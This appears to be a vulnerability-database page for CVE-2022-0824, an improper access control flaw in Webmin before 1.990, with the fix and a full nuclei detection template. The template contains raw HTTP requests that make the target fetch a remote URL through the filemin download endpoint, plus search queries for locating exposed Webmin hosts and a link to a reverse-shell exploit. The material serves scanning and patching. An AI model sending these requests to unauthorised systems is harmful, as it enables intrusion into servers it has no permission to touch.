HexBrain

Browse / CVEs / CVE-2022-0824

CVE-2022-0824· webmin / webmin· CWE-284, CWE-863

Webmin <1.990 - Improper Access Control

highseverity
8.8CVSS score
97%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Webmin before 1.990 is susceptible to improper access control in GitHub repository webmin/webmin. This in turn can lead to remote code execution, by which an attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

Impact

Successful exploitation of this vulnerability could allow an attacker to gain unauthorized access to sensitive information or perform unauthorized actions.

Fix

Upgrade Webmin to version 1.990 or later to mitigate this vulnerability.

How to confirm it

Send: POST /session_login.cgi ; POST /extensions/file-manager/http_download.cgi?module=filemin
Positive when: contains in interactsh_protocol "dns" AND contains "Failed to write to /{{ranstr}}/index.html"

Run it with nuclei: nuclei -id CVE-2022-0824 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-0824

info:
  name: Webmin <1.990 - Improper Access Control
  author: cckuailong
  severity: high
  description: Webmin before 1.990 is susceptible to improper access control in GitHub repository webmin/webmin. This in turn can lead to remote code execution, by which an attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to gain unauthorized access to sensitive information or perform unauthorized actions.
  remediation: |
    Upgrade Webmin to version 1.990 or later to mitigate this vulnerability.
  reference:
    - https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell/blob/main/Webmin-revshell.py
    - https://github.com/webmin/webmin/commit/39ea464f0c40b325decd6a5bfb7833fa4a142e38
    - https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0824
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-0824
    cwe-id: CWE-284,CWE-863
    epss-score: 0.96977
    epss-percentile: 0.9989
    cpe: cpe:2.3:a:webmin:webmin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: webmin
    product: webmin
    shodan-query: http.title:"webmin"
    fofa-query: title="webmin"
    google-query: intitle:"webmin"
  tags: cve,cve2022,rce,oss,huntr,webmin,authenticated,vuln

http:
  - raw:
      - |
        POST /session_login.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: redirect=1;testing=1;PHPSESSID=;

        user={{username}}&pass={{password}}
      - |
        POST /extensions/file-manager/http_download.cgi?module=filemin HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, */*; q=0.01
        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Referer: {{RootURL}}/filemin/?xnavigation=1

        link=http://{{interactsh-url}}&username=&password=&path=/{{ranstr}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "Failed to write to /{{ranstr}}/index.html"

References

Use this check only on systems you are authorised to test. Where the data comes from